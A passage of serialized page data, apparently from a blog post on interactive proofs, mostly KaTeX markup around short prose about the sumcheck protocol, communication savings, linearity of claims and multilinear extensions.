"type":23,"tag":504,"props":109462,"children":109464},{"className":109463,"style":3167},[3069],[],{"type":23,"tag":504,"props":109466,"children":109468},{"className":109467},[3172],[109469],{"type":28,"value":109470},"⟹",{"type":23,"tag":504,"props":109472,"children":109474},{"className":109473,"style":3167},[3069],[],{"type":23,"tag":504,"props":109476,"children":109478},{"className":109477,"style":3167},[3069],[],{"type":23,"tag":504,"props":109480,"children":109482},{"className":109481},[2977],[109483,109487,109492,109496,109501],{"type":23,"tag":504,"props":109484,"children":109486},{"className":109485,"style":91713},[2982],[],{"type":23,"tag":504,"props":109488,"children":109490},{"className":109489},[2988,20569],[109491],{"type":28,"value":2200},{"type":23,"tag":504,"props":109493,"children":109495},{"className":109494,"style":3167},[3069],[],{"type":23,"tag":504,"props":109497,"children":109499},{"className":109498},[3172],[109500],{"type":28,"value":601},{"type":23,"tag":504,"props":109502,"children":109504},{"className":109503,"style":3167},[3069],[],{"type":23,"tag":504,"props":109506,"children":109508},{"className":109507},[2977],[109509,109513,109584,109588,109593],{"type":23,"tag":504,"props":109510,"children":109512},{"className":109511,"style":109198},[2982],[],{"type":23,"tag":504,"props":109514,"children":109516},{"className":109515},[2988],[109517,109522],{"type":23,"tag":504,"props":109518,"children":109520},{"className":109519,"style":92032},[2988,20569],[109521],{"type":28,"value":92035},{"type":23,"tag":504,"props":109523,"children":109525},{"className":109524},[3005],[109526],{"type":23,"tag":504,"props":109527,"children":109529},{"className":109528},[3010,20623],[109530,109573],{"type":23,"tag":504,"props":109531,"children":109533},{"className":109532},[3015],[109534,109568],{"type":23,"tag":504,"props":109535,"children":109537},{"className":109536,"style":92327},[3020],[109538],{"type":23,"tag":504,"props":109539,"children":109540},{"style":109227},[109541,109545],{"type":23,"tag":504,"props":109542,"children":109544},{"className":109543,"style":3030},[3029],[],{"type":23,"tag":504,"props":109546,"children":109548},{"className":109547},[3035,3036,3037,3038],[109549],{"type":23,"tag":504,"props":109550,"children":109552},{"className":109551},[2988,3038],[109553,109558,109563],{"type":23,"tag":504,"props":109554,"children":109556},{"className":109555},[2988,20569,3038],[109557],{"type":28,"value":2716},{"type":23,"tag":504,"props":109559,"children":109561},{"className":109560},[3075,3038],[109562],{"type":28,"value":3049},{"type":23,"tag":504,"props":109564,"children":109566},{"className":109565},[2988,3038],[109567],{"type":28,"value":2991},{"type":23,"tag":504,"props":109569,"children":109571},{"className":109570},[20726],[109572],{"type":28,"value":20729},{"type":23,"tag":504,"props":109574,"children":109576},{"className":109575},[3015],[109577],{"type":23,"tag":504,"props":109578,"children":109580},{"className":109579,"style":109268},[3020],[109581],{"type":23,"tag":504,"props":109582,"children":109583},{},[],{"type":23,"tag":504,"props":109585,"children":109587},{"className":109586,"style":3070},[3069],[],{"type":23,"tag":504,"props":109589,"children":109591},{"className":109590},[3075],[109592],{"type":28,"value":3049},{"type":23,"tag":504,"props":109594,"children":109596},{"className":109595,"style":3070},[3069],[],{"type":23,"tag":504,"props":109598,"children":109600},{"className":109599},[2977],[109601,109605,109610],{"type":23,"tag":504,"props":109602,"children":109604},{"className":109603,"style":92829},[2982],[],{"type":23,"tag":504,"props":109606,"children":109608},{"className":109607},[2988],[109609],{"type":28,"value":2100},{"type":23,"tag":504,"props":109611,"children":109613},{"className":109612},[2988,20569],[109614],{"type":28,"value":92},{"type":23,"tag":24,"props":109616,"children":109617},{},[109618,109620,109739,109741,109766],{"type":28,"value":109619},"So the prover only sends ",{"type":23,"tag":56,"props":109621,"children":109623},{"className":109622},[2960,2961],[109624],{"type":23,"tag":504,"props":109625,"children":109627},{"className":109626},[2966],[109628],{"type":23,"tag":504,"props":109629,"children":109631},{"className":109630,"ariaHidden":2972},[2971],[109632,109659],{"type":23,"tag":504,"props":109633,"children":109635},{"className":109634},[2977],[109636,109641,109646,109650,109655],{"type":23,"tag":504,"props":109637,"children":109640},{"className":109638,"style":109639},[2982],"height:0.4306em;",[],{"type":23,"tag":504,"props":109642,"children":109644},{"className":109643},[2988,20569],[109645],{"type":28,"value":92},{"type":23,"tag":504,"props":109647,"children":109649},{"className":109648,"style":3167},[3069],[],{"type":23,"tag":504,"props":109651,"children":109653},{"className":109652},[3172],[109654],{"type":28,"value":601},{"type":23,"tag":504,"props":109656,"children":109658},{"className":109657,"style":3167},[3069],[],{"type":23,"tag":504,"props":109660,"children":109662},{"className":109661},[2977],[109663,109667,109724,109729,109734],{"type":23,"tag":504,"props":109664,"children":109666},{"className":109665,"style":3090},[2982],[],{"type":23,"tag":504,"props":109668,"children":109670},{"className":109669},[2988],[109671,109676],{"type":23,"tag":504,"props":109672,"children":109674},{"className":109673,"style":92284},[2988,20569],[109675],{"type":28,"value":108049},{"type":23,"tag":504,"props":109677,"children":109679},{"className":109678},[3005],[109680],{"type":23,"tag":504,"props":109681,"children":109683},{"className":109682},[3010,20623],[109684,109713],{"type":23,"tag":504,"props":109685,"children":109687},{"className":109686},[3015],[109688,109708],{"type":23,"tag":504,"props":109689,"children":109691},{"className":109690,"style":92327},[3020],[109692],{"type":23,"tag":504,"props":109693,"children":109694},{"style":92331},[109695,109699],{"type":23,"tag":504,"props":109696,"children":109698},{"className":109697,"style":3030},[3029],[],{"type":23,"tag":504,"props":109700,"children":109702},{"className":109701},[3035,3036,3037,3038],[109703],{"type":23,"tag":504,"props":109704,"children":109706},{"className":109705},[2988,20569,3038],[109707],{"type":28,"value":2716},{"type":23,"tag":504,"props":109709,"children":109711},{"className":109710},[20726],[109712],{"type":28,"value":20729},{"type":23,"tag":504,"props":109714,"children":109716},{"className":109715},[3015],[109717],{"type":23,"tag":504,"props":109718,"children":109720},{"className":109719,"style":91881},[3020],[109721],{"type":23,"tag":504,"props":109722,"children":109723},{},[],{"type":23,"tag":504,"props":109725,"children":109727},{"className":109726},[20698],[109728],{"type":28,"value":526},{"type":23,"tag":504,"props":109730,"children":109732},{"className":109731},[2988],[109733],{"type":28,"value":3001},{"type":23,"tag":504,"props":109735,"children":109737},{"className":109736},[20720],[109738],{"type":28,"value":2105},{"type":28,"value":109740},", and the verifier recovers ",{"type":23,"tag":56,"props":109742,"children":109744},{"className":109743},[2960,2961],[109745],{"type":23,"tag":504,"props":109746,"children":109748},{"className":109747},[2966],[109749],{"type":23,"tag":504,"props":109750,"children":109752},{"className":109751,"ariaHidden":2972},[2971],[109753],{"type":23,"tag":504,"props":109754,"children":109756},{"className":109755},[2977],[109757,109761],{"type":23,"tag":504,"props":109758,"children":109760},{"className":109759,"style":91713},[2982],[],{"type":23,"tag":504,"props":109762,"children":109764},{"className":109763},[2988,20569],[109765],{"type":28,"value":2200},{"type":28,"value":109767},". This saves 50% on communication costs.",{"type":23,"tag":24,"props":109769,"children":109770},{},[109771],{"type":28,"value":109772},"The next claim in the chain is",{"type":23,"tag":24,"props":109774,"children":109775},{},[109776],{"type":23,"tag":56,"props":109777,"children":109779},{"className":109778},[2960,2961],[109780],{"type":23,"tag":504,"props":109781,"children":109783},{"className":109782},[2966],[109784],{"type":23,"tag":504,"props":109785,"children":109787},{"className":109786,"ariaHidden":2972},[2971],[109788,109867,110012,110038,110065,110143,110169,110266,110302,110380,110416,110504,110596],{"type":23,"tag":504,"props":109789,"children":109791},{"className":109790},[2977],[109792,109797,109854,109858,109863],{"type":23,"tag":504,"props":109793,"children":109796},{"className":109794,"style":109795},[2982],"height:0.8333em;vertical-align:-0.15em;",[],{"type":23,"tag":504,"props":109798,"children":109800},{"className":109799},[2988],[109801,109806],{"type":23,"tag":504,"props":109802,"children":109804},{"className":109803,"style":92032},[2988,20569],[109805],{"type":28,"value":92035},{"type":23,"tag":504,"props":109807,"children":109809},{"className":109808},[3005],[109810],{"type":23,"tag":504,"props":109811,"children":109813},{"className":109812},[3010,20623],[109814,109843],{"type":23,"tag":504,"props":109815,"children":109817},{"className":109816},[3015],[109818,109838],{"type":23,"tag":504,"props":109819,"children":109821},{"className":109820,"style":92327},[3020],[109822],{"type":23,"tag":504,"props":109823,"children":109824},{"style":109227},[109825,109829],{"type":23,"tag":504,"props":109826,"children":109828},{"className":109827,"style":3030},[3029],[],{"type":23,"tag":504,"props":109830,"children":109832},{"className":109831},[3035,3036,3037,3038],[109833],{"type":23,"tag":504,"props":109834,"children":109836},{"className":109835},[2988,20569,3038],[109837],{"type":28,"value":2716},{"type":23,"tag":504,"props":109839,"children":109841},{"className":109840},[20726],[109842],{"type":28,"value":20729},{"type":23,"tag":504,"props":109844,"children":109846},{"className":109845},[3015],[109847],{"type":23,"tag":504,"props":109848,"children":109850},{"className":109849,"style":91881},[3020],[109851],{"type":23,"tag":504,"props":109852,"children":109853},{},[],{"type":23,"tag":504,"props":109855,"children":109857},{"className":109856,"style":3167},[3069],[],{"type":23,"tag":504,"props":109859,"children":109861},{"className":109860},[3172],[109862],{"type":28,"value":601},{"type":23,"tag":504,"props":109864,"children":109866},{"className":109865,"style":3167},[3069],[],{"type":23,"tag":504,"props":109868,"children":109870},{"className":109869},[2977],[109871,109875,109932,109937,109994,109999,110003,110008],{"type":23,"tag":504,"props":109872,"children":109874},{"className":109873,"style":3090},[2982],[],{"type":23,"tag":504,"props":109876,"children":109878},{"className":109877},[2988],[109879,109884],{"type":23,"tag":504,"props":109880,"children":109882},{"className":109881,"style":92284},[2988,20569],[109883],{"type":28,"value":108049},{"type":23,"tag":504,"props":109885,"children":109887},{"className":109886},[3005],[109888],{"type":23,"tag":504,"props":109889,"children":109891},{"className":109890},[3010,20623],[109892,109921],{"type":23,"tag":504,"props":109893,"children":109895},{"className":109894},[3015],[109896,109916],{"type":23,"tag":504,"props":109897,"children":109899},{"className":109898,"style":92327},[3020],[109900],{"type":23,"tag":504,"props":109901,"children":109902},{"style":92331},[109903,109907],{"type":23,"tag":504,"props":109904,"children":109906},{"className":109905,"style":3030},[3029],[],{"type":23,"tag":504,"props":109908,"children":109910},{"className":109909},[3035,3036,3037,3038],[109911],{"type":23,"tag":504,"props":109912,"children":109914},{"className":109913},[2988,20569,3038],[109915],{"type":28,"value":2716},{"type":23,"tag":504,"props":109917,"children":109919},{"className":109918},[20726],[109920],{"type":28,"value":20729},{"type":23,"tag":504,"props":109922,"children":109924},{"className":109923},[3015],[109925],{"type":23,"tag":504,"props":109926,"children":109928},{"className":109927,"style":91881},[3020],[109929],{"type":23,"tag":504,"props":109930,"children":109931},{},[],{"type":23,"tag":504,"props":109933,"children":109935},{"className":109934},[20698],[109936],{"type":28,"value":526},{"type":23,"tag":504,"props":109938,"children":109940},{"className":109939},[2988],[109941,109946],{"type":23,"tag":504,"props":109942,"children":109944},{"className":109943,"style":91798},[2988,20569],[109945],{"type":28,"value":92617},{"type":23,"tag":504,"props":109947,"children":109949},{"className":109948},[3005],[109950],{"type":23,"tag":504,"props":109951,"children":109953},{"className":109952},[3010,20623],[109954,109983],{"type":23,"tag":504,"props":109955,"children":109957},{"className":109956},[3015],[109958,109978],{"type":23,"tag":504,"props":109959,"children":109961},{"className":109960,"style":92327},[3020],[109962],{"type":23,"tag":504,"props":109963,"children":109964},{"style":108797},[109965,109969],{"type":23,"tag":504,"props":109966,"children":109968},{"className":109967,"style":3030},[3029],[],{"type":23,"tag":504,"props":109970,"children":109972},{"className":109971},[3035,3036,3037,3038],[109973],{"type":23,"tag":504,"props":109974,"children":109976},{"className":109975},[2988,20569,3038],[109977],{"type":28,"value":2716},{"type":23,"tag":504,"props":109979,"children":109981},{"className":109980},[20726],[109982],{"type":28,"value":20729},{"type":23,"tag":504,"props":109984,"children":109986},{"className":109985},[3015],[109987],{"type":23,"tag":504,"props":109988,"children":109990},{"className":109989,"style":91881},[3020],[109991],{"type":23,"tag":504,"props":109992,"children":109993},{},[],{"type":23,"tag":504,"props":109995,"children":109997},{"className":109996},[20720],[109998],{"type":28,"value":2105},{"type":23,"tag":504,"props":110000,"children":110002},{"className":110001,"style":3167},[3069],[],{"type":23,"tag":504,"props":110004,"children":110006},{"className":110005},[3172],[110007],{"type":28,"value":601},{"type":23,"tag":504,"props":110009,"children":110011},{"className":110010,"style":3167},[3069],[],{"type":23,"tag":504,"props":110013,"children":110015},{"className":110014},[2977],[110016,110020,110025,110029,110034],{"type":23,"tag":504,"props":110017,"children":110019},{"className":110018,"style":108953},[2982],[],{"type":23,"tag":504,"props":110021,"children":110023},{"className":110022},[2988,20569],[110024],{"type":28,"value":92},{"type":23,"tag":504,"props":110026,"children":110028},{"className":110027,"style":3070},[3069],[],{"type":23,"tag":504,"props":110030,"children":110032},{"className":110031},[3075],[110033],{"type":28,"value":1642},{"type":23,"tag":504,"props":110035,"children":110037},{"className":110036,"style":3070},[3069],[],{"type":23,"tag":504,"props":110039,"children":110041},{"className":110040},[2977],[110042,110046,110051,110055,110061],{"type":23,"tag":504,"props":110043,"children":110045},{"className":110044,"style":91713},[2982],[],{"type":23,"tag":504,"props":110047,"children":110049},{"className":110048},[2988,20569],[110050],{"type":28,"value":2200},{"type":23,"tag":504,"props":110052,"children":110054},{"className":110053,"style":3070},[3069],[],{"type":23,"tag":504,"props":110056,"children":110058},{"className":110057},[3075],[110059],{"type":28,"value":110060},"⋅",{"type":23,"tag":504,"props":110062,"children":110064},{"className":110063,"style":3070},[3069],[],{"type":23,"tag":504,"props":110066,"children":110068},{"className":110067},[2977],[110069,110073,110130,110134,110139],{"type":23,"tag":504,"props":110070,"children":110072},{"className":110071,"style":108768},[2982],[],{"type":23,"tag":504,"props":110074,"children":110076},{"className":110075},[2988],[110077,110082],{"type":23,"tag":504,"props":110078,"children":110080},{"className":110079,"style":91798},[2988,20569],[110081],{"type":28,"value":92617},{"type":23,"tag":504,"props":110083,"children":110085},{"className":110084},[3005],[110086],{"type":23,"tag":504,"props":110087,"children":110089},{"className":110088},[3010,20623],[110090,110119],{"type":23,"tag":504,"props":110091,"children":110093},{"className":110092},[3015],[110094,110114],{"type":23,"tag":504,"props":110095,"children":110097},{"className":110096,"style":92327},[3020],[110098],{"type":23,"tag":504,"props":110099,"children":110100},{"style":108797},[110101,110105],{"type":23,"tag":504,"props":110102,"children":110104},{"className":110103,"style":3030},[3029],[],{"type":23,"tag":504,"props":110106,"children":110108},{"className":110107},[3035,3036,3037,3038],[110109],{"type":23,"tag":504,"props":110110,"children":110112},{"className":110111},[2988,20569,3038],[110113],{"type":28,"value":2716},{"type":23,"tag":504,"props":110115,"children":110117},{"className":110116},[20726],[110118],{"type":28,"value":20729},{"type":23,"tag":504,"props":110120,"children":110122},{"className":110121},[3015],[110123],{"type":23,"tag":504,"props":110124,"children":110126},{"className":110125,"style":91881},[3020],[110127],{"type":23,"tag":504,"props":110128,"children":110129},{},[],{"type":23,"tag":504,"props":110131,"children":110133},{"className":110132,"style":3167},[3069],[],{"type":23,"tag":504,"props":110135,"children":110137},{"className":110136},[3172],[110138],{"type":28,"value":601},{"type":23,"tag":504,"props":110140,"children":110142},{"className":110141,"style":3167},[3069],[],{"type":23,"tag":504,"props":110144,"children":110146},{"className":110145},[2977],[110147,110151,110156,110160,110165],{"type":23,"tag":504,"props":110148,"children":110150},{"className":110149,"style":108953},[2982],[],{"type":23,"tag":504,"props":110152,"children":110154},{"className":110153},[2988,20569],[110155],{"type":28,"value":92},{"type":23,"tag":504,"props":110157,"children":110159},{"className":110158,"style":3070},[3069],[],{"type":23,"tag":504,"props":110161,"children":110163},{"className":110162},[3075],[110164],{"type":28,"value":1642},{"type":23,"tag":504,"props":110166,"children":110168},{"className":110167,"style":3070},[3069],[],{"type":23,"tag":504,"props":110170,"children":110172},{"className":110171},[2977],[110173,110177,110182,110253,110257,110262],{"type":23,"tag":504,"props":110174,"children":110176},{"className":110175,"style":3090},[2982],[],{"type":23,"tag":504,"props":110178,"children":110180},{"className":110179},[20698],[110181],{"type":28,"value":526},{"type":23,"tag":504,"props":110183,"children":110185},{"className":110184},[2988],[110186,110191],{"type":23,"tag":504,"props":110187,"children":110189},{"className":110188,"style":92032},[2988,20569],[110190],{"type":28,"value":92035},{"type":23,"tag":504,"props":110192,"children":110194},{"className":110193},[3005],[110195],{"type":23,"tag":504,"props":110196,"children":110198},{"className":110197},[3010,20623],[110199,110242],{"type":23,"tag":504,"props":110200,"children":110202},{"className":110201},[3015],[110203,110237],{"type":23,"tag":504,"props":110204,"children":110206},{"className":110205,"style":92327},[3020],[110207],{"type":23,"tag":504,"props":110208,"children":110209},{"style":109227},[110210,110214],{"type":23,"tag":504,"props":110211,"children":110213},{"className":110212,"style":3030},[3029],[],{"type":23,"tag":504,"props":110215,"children":110217},{"className":110216},[3035,3036,3037,3038],[110218],{"type":23,"tag":504,"props":110219,"children":110221},{"className":110220},[2988,3038],[110222,110227,110232],{"type":23,"tag":504,"props":110223,"children":110225},{"className":110224},[2988,20569,3038],[110226],{"type":28,"value":2716},{"type":23,"tag":504,"props":110228,"children":110230},{"className":110229},[3075,3038],[110231],{"type":28,"value":3049},{"type":23,"tag":504,"props":110233,"children":110235},{"className":110234},[2988,3038],[110236],{"type":28,"value":2991},{"type":23,"tag":504,"props":110238,"children":110240},{"className":110239},[20726],[110241],{"type":28,"value":20729},{"type":23,"tag":504,"props":110243,"children":110245},{"className":110244},[3015],[110246],{"type":23,"tag":504,"props":110247,"children":110249},{"className":110248,"style":109268},[3020],[110250],{"type":23,"tag":504,"props":110251,"children":110252},{},[],{"type":23,"tag":504,"props":110254,"children":110256},{"className":110255,"style":3070},[3069],[],{"type":23,"tag":504,"props":110258,"children":110260},{"className":110259},[3075],[110261],{"type":28,"value":3049},{"type":23,"tag":504,"props":110263,"children":110265},{"className":110264,"style":3070},[3069],[],{"type":23,"tag":504,"props":110267,"children":110269},{"className":110268},[2977],[110270,110274,110279,110284,110289,110293,110298],{"type":23,"tag":504,"props":110271,"children":110273},{"className":110272,"style":3090},[2982],[],{"type":23,"tag":504,"props":110275,"children":110277},{"className":110276},[2988],[110278],{"type":28,"value":2100},{"type":23,"tag":504,"props":110280,"children":110282},{"className":110281},[2988,20569],[110283],{"type":28,"value":92},{"type":23,"tag":504,"props":110285,"children":110287},{"className":110286},[20720],[110288],{"type":28,"value":2105},{"type":23,"tag":504,"props":110290,"children":110292},{"className":110291,"style":3070},[3069],[],{"type":23,"tag":504,"props":110294,"children":110296},{"className":110295},[3075],[110297],{"type":28,"value":110060},{"type":23,"tag":504,"props":110299,"children":110301},{"className":110300,"style":3070},[3069],[],{"type":23,"tag":504,"props":110303,"children":110305},{"className":110304},[2977],[110306,110310,110367,110371,110376],{"type":23,"tag":504,"props":110307,"children":110309},{"className":110308,"style":108768},[2982],[],{"type":23,"tag":504,"props":110311,"children":110313},{"className":110312},[2988],[110314,110319],{"type":23,"tag":504,"props":110315,"children":110317},{"className":110316,"style":91798},[2988,20569],[110318],{"type":28,"value":92617},{"type":23,"tag":504,"props":110320,"children":110322},{"className":110321},[3005],[110323],{"type":23,"tag":504,"props":110324,"children":110326},{"className":110325},[3010,20623],[110327,110356],{"type":23,"tag":504,"props":110328,"children":110330},{"className":110329},[3015],[110331,110351],{"type":23,"tag":504,"props":110332,"children":110334},{"className":110333,"style":92327},[3020],[110335],{"type":23,"tag":504,"props":110336,"children":110337},{"style":108797},[110338,110342],{"type":23,"tag":504,"props":110339,"children":110341},{"className":110340,"style":3030},[3029],[],{"type":23,"tag":504,"props":110343,"children":110345},{"className":110344},[3035,3036,3037,3038],[110346],{"type":23,"tag":504,"props":110347,"children":110349},{"className":110348},[2988,20569,3038],[110350],{"type":28,"value":2716},{"type":23,"tag":504,"props":110352,"children":110354},{"className":110353},[20726],[110355],{"type":28,"value":20729},{"type":23,"tag":504,"props":110357,"children":110359},{"className":110358},[3015],[110360],{"type":23,"tag":504,"props":110361,"children":110363},{"className":110362,"style":91881},[3020],[110364],{"type":23,"tag":504,"props":110365,"children":110366},{},[],{"type":23,"tag":504,"props":110368,"children":110370},{"className":110369,"style":3167},[3069],[],{"type":23,"tag":504,"props":110372,"children":110374},{"className":110373},[3172],[110375],{"type":28,"value":601},{"type":23,"tag":504,"props":110377,"children":110379},{"className":110378,"style":3167},[3069],[],{"type":23,"tag":504,"props":110381,"children":110383},{"className":110382},[2977],[110384,110388,110393,110398,110403,110407,110412],{"type":23,"tag":504,"props":110385,"children":110387},{"className":110386,"style":3090},[2982],[],{"type":23,"tag":504,"props":110389,"children":110391},{"className":110390},[2988,20569],[110392],{"type":28,"value":92},{"type":23,"tag":504,"props":110394,"children":110396},{"className":110395},[20698],[110397],{"type":28,"value":526},{"type":23,"tag":504,"props":110399,"children":110401},{"className":110400},[2988],[110402],{"type":28,"value":2991},{"type":23,"tag":504,"props":110404,"children":110406},{"className":110405,"style":3070},[3069],[],{"type":23,"tag":504,"props":110408,"children":110410},{"className":110409},[3075],[110411],{"type":28,"value":3049},{"type":23,"tag":504,"props":110413,"children":110415},{"className":110414,"style":3070},[3069],[],{"type":23,"tag":504,"props":110417,"children":110419},{"className":110418},[2977],[110420,110424,110429,110486,110491,110495,110500],{"type":23,"tag":504,"props":110421,"children":110423},{"className":110422,"style":3090},[2982],[],{"type":23,"tag":504,"props":110425,"children":110427},{"className":110426},[2988],[110428],{"type":28,"value":2100},{"type":23,"tag":504,"props":110430,"children":110432},{"className":110431},[2988],[110433,110438],{"type":23,"tag":504,"props":110434,"children":110436},{"className":110435,"style":91798},[2988,20569],[110437],{"type":28,"value":92617},{"type":23,"tag":504,"props":110439,"children":110441},{"className":110440},[3005],[110442],{"type":23,"tag":504,"props":110443,"children":110445},{"className":110444},[3010,20623],[110446,110475],{"type":23,"tag":504,"props":110447,"children":110449},{"className":110448},[3015],[110450,110470],{"type":23,"tag":504,"props":110451,"children":110453},{"className":110452,"style":92327},[3020],[110454],{"type":23,"tag":504,"props":110455,"children":110456},{"style":108797},[110457,110461],{"type":23,"tag":504,"props":110458,"children":110460},{"className":110459,"style":3030},[3029],[],{"type":23,"tag":504,"props":110462,"children":110464},{"className":110463},[3035,3036,3037,3038],[110465],{"type":23,"tag":504,"props":110466,"children":110468},{"className":110467},[2988,20569,3038],[110469],{"type":28,"value":2716},{"type":23,"tag":504,"props":110471,"children":110473},{"className":110472},[20726],[110474],{"type":28,"value":20729},{"type":23,"tag":504,"props":110476,"children":110478},{"className":110477},[3015],[110479],{"type":23,"tag":504,"props":110480,"children":110482},{"className":110481,"style":91881},[3020],[110483],{"type":23,"tag":504,"props":110484,"children":110485},{},[],{"type":23,"tag":504,"props":110487,"children":110489},{"className":110488},[20720],[110490],{"type":28,"value":2105},{"type":23,"tag":504,"props":110492,"children":110494},{"className":110493,"style":3070},[3069],[],{"type":23,"tag":504,"props":110496,"children":110498},{"className":110497},[3075],[110499],{"type":28,"value":1642},{"type":23,"tag":504,"props":110501,"children":110503},{"className":110502,"style":3070},[3069],[],{"type":23,"tag":504,"props":110505,"children":110507},{"className":110506},[2977],[110508,110512,110583,110587,110592],{"type":23,"tag":504,"props":110509,"children":110511},{"className":110510,"style":109198},[2982],[],{"type":23,"tag":504,"props":110513,"children":110515},{"className":110514},[2988],[110516,110521],{"type":23,"tag":504,"props":110517,"children":110519},{"className":110518,"style":92032},[2988,20569],[110520],{"type":28,"value":92035},{"type":23,"tag":504,"props":110522,"children":110524},{"className":110523},[3005],[110525],{"type":23,"tag":504,"props":110526,"children":110528},{"className":110527},[3010,20623],[110529,110572],{"type":23,"tag":504,"props":110530,"children":110532},{"className":110531},[3015],[110533,110567],{"type":23,"tag":504,"props":110534,"children":110536},{"className":110535,"style":92327},[3020],[110537],{"type":23,"tag":504,"props":110538,"children":110539},{"style":109227},[110540,110544],{"type":23,"tag":504,"props":110541,"children":110543},{"className":110542,"style":3030},[3029],[],{"type":23,"tag":504,"props":110545,"children":110547},{"className":110546},[3035,3036,3037,3038],[110548],{"type":23,"tag":504,"props":110549,"children":110551},{"className":110550},[2988,3038],[110552,110557,110562],{"type":23,"tag":504,"props":110553,"children":110555},{"className":110554},[2988,20569,3038],[110556],{"type":28,"value":2716},{"type":23,"tag":504,"props":110558,"children":110560},{"className":110559},[3075,3038],[110561],{"type":28,"value":3049},{"type":23,"tag":504,"props":110563,"children":110565},{"className":110564},[2988,3038],[110566],{"type":28,"value":2991},{"type":23,"tag":504,"props":110568,"children":110570},{"className":110569},[20726],[110571],{"type":28,"value":20729},{"type":23,"tag":504,"props":110573,"children":110575},{"className":110574},[3015],[110576],{"type":23,"tag":504,"props":110577,"children":110579},{"className":110578,"style":109268},[3020],[110580],{"type":23,"tag":504,"props":110581,"children":110582},{},[],{"type":23,"tag":504,"props":110584,"children":110586},{"className":110585,"style":3070},[3069],[],{"type":23,"tag":504,"props":110588,"children":110590},{"className":110589},[3075],[110591],{"type":28,"value":110060},{"type":23,"tag":504,"props":110593,"children":110595},{"className":110594,"style":3070},[3069],[],{"type":23,"tag":504,"props":110597,"children":110599},{"className":110598},[2977],[110600,110604],{"type":23,"tag":504,"props":110601,"children":110603},{"className":110602,"style":108768},[2982],[],{"type":23,"tag":504,"props":110605,"children":110607},{"className":110606},[2988],[110608,110613],{"type":23,"tag":504,"props":110609,"children":110611},{"className":110610,"style":91798},[2988,20569],[110612],{"type":28,"value":92617},{"type":23,"tag":504,"props":110614,"children":110616},{"className":110615},[3005],[110617],{"type":23,"tag":504,"props":110618,"children":110620},{"className":110619},[3010,20623],[110621,110650],{"type":23,"tag":504,"props":110622,"children":110624},{"className":110623},[3015],[110625,110645],{"type":23,"tag":504,"props":110626,"children":110628},{"className":110627,"style":92327},[3020],[110629],{"type":23,"tag":504,"props":110630,"children":110631},{"style":108797},[110632,110636],{"type":23,"tag":504,"props":110633,"children":110635},{"className":110634,"style":3030},[3029],[],{"type":23,"tag":504,"props":110637,"children":110639},{"className":110638},[3035,3036,3037,3038],[110640],{"type":23,"tag":504,"props":110641,"children":110643},{"className":110642},[2988,20569,3038],[110644],{"type":28,"value":2716},{"type":23,"tag":504,"props":110646,"children":110648},{"className":110647},[20726],[110649],{"type":28,"value":20729},{"type":23,"tag":504,"props":110651,"children":110653},{"className":110652},[3015],[110654],{"type":23,"tag":504,"props":110655,"children":110657},{"className":110656,"style":91881},[3020],[110658],{"type":23,"tag":504,"props":110659,"children":110660},{},[],{"type":23,"tag":24,"props":110662,"children":110663},{},[110664,110665,110761,110763,110788,110790,110815],{"type":28,"value":45115},{"type":23,"tag":296,"props":110666,"children":110667},{},[110668,110670],{"type":28,"value":110669},"linear in ",{"type":23,"tag":56,"props":110671,"children":110673},{"className":110672},[2960,2961],[110674],{"type":23,"tag":504,"props":110675,"children":110677},{"className":110676},[2966],[110678],{"type":23,"tag":504,"props":110679,"children":110681},{"className":110680,"ariaHidden":2972},[2971],[110682],{"type":23,"tag":504,"props":110683,"children":110685},{"className":110684},[2977],[110686,110690],{"type":23,"tag":504,"props":110687,"children":110689},{"className":110688,"style":109198},[2982],[],{"type":23,"tag":504,"props":110691,"children":110693},{"className":110692},[2988],[110694,110699],{"type":23,"tag":504,"props":110695,"children":110697},{"className":110696,"style":92032},[2988,20569],[110698],{"type":28,"value":92035},{"type":23,"tag":504,"props":110700,"children":110702},{"className":110701},[3005],[110703],{"type":23,"tag":504,"props":110704,"children":110706},{"className":110705},[3010,20623],[110707,110750],{"type":23,"tag":504,"props":110708,"children":110710},{"className":110709},[3015],[110711,110745],{"type":23,"tag":504,"props":110712,"children":110714},{"className":110713,"style":92327},[3020],[110715],{"type":23,"tag":504,"props":110716,"children":110717},{"style":109227},[110718,110722],{"type":23,"tag":504,"props":110719,"children":110721},{"className":110720,"style":3030},[3029],[],{"type":23,"tag":504,"props":110723,"children":110725},{"className":110724},[3035,3036,3037,3038],[110726],{"type":23,"tag":504,"props":110727,"children":110729},{"className":110728},[2988,3038],[110730,110735,110740],{"type":23,"tag":504,"props":110731,"children":110733},{"className":110732},[2988,20569,3038],[110734],{"type":28,"value":2716},{"type":23,"tag":504,"props":110736,"children":110738},{"className":110737},[3075,3038],[110739],{"type":28,"value":3049},{"type":23,"tag":504,"props":110741,"children":110743},{"className":110742},[2988,3038],[110744],{"type":28,"value":2991},{"type":23,"tag":504,"props":110746,"children":110748},{"className":110747},[20726],[110749],{"type":28,"value":20729},{"type":23,"tag":504,"props":110751,"children":110753},{"className":110752},[3015],[110754],{"type":23,"tag":504,"props":110755,"children":110757},{"className":110756,"style":109268},[3020],[110758],{"type":23,"tag":504,"props":110759,"children":110760},{},[],{"type":28,"value":110762},"! By induction, the final claim is linear in the original ",{"type":23,"tag":56,"props":110764,"children":110766},{"className":110765},[2960,2961],[110767],{"type":23,"tag":504,"props":110768,"children":110770},{"className":110769},[2966],[110771],{"type":23,"tag":504,"props":110772,"children":110774},{"className":110773,"ariaHidden":2972},[2971],[110775],{"type":23,"tag":504,"props":110776,"children":110778},{"className":110777},[2977],[110779,110783],{"type":23,"tag":504,"props":110780,"children":110782},{"className":110781,"style":20564},[2982],[],{"type":23,"tag":504,"props":110784,"children":110786},{"className":110785,"style":92032},[2988,20569],[110787],{"type":28,"value":92035},{"type":28,"value":110789},". If ",{"type":23,"tag":56,"props":110791,"children":110793},{"className":110792},[2960,2961],[110794],{"type":23,"tag":504,"props":110795,"children":110797},{"className":110796},[2966],[110798],{"type":23,"tag":504,"props":110799,"children":110801},{"className":110800,"ariaHidden":2972},[2971],[110802],{"type":23,"tag":504,"props":110803,"children":110805},{"className":110804},[2977],[110806,110810],{"type":23,"tag":504,"props":110807,"children":110809},{"className":110808,"style":20564},[2982],[],{"type":23,"tag":504,"props":110811,"children":110813},{"className":110812,"style":92032},[2988,20569],[110814],{"type":28,"value":92035},{"type":28,"value":110816}," isn't in the transcript, we can solve for it.",{"type":23,"tag":82,"props":110818,"children":110820},{"id":110819},"multilinear-extensions-mles",[110821],{"type":28,"value":110822},"Multilinear Extensions (MLEs)",{"type":23,"tag":24,"props":110824,"children":110825},{},[110826,110828,110913],{"type":28,"value":110827},"An 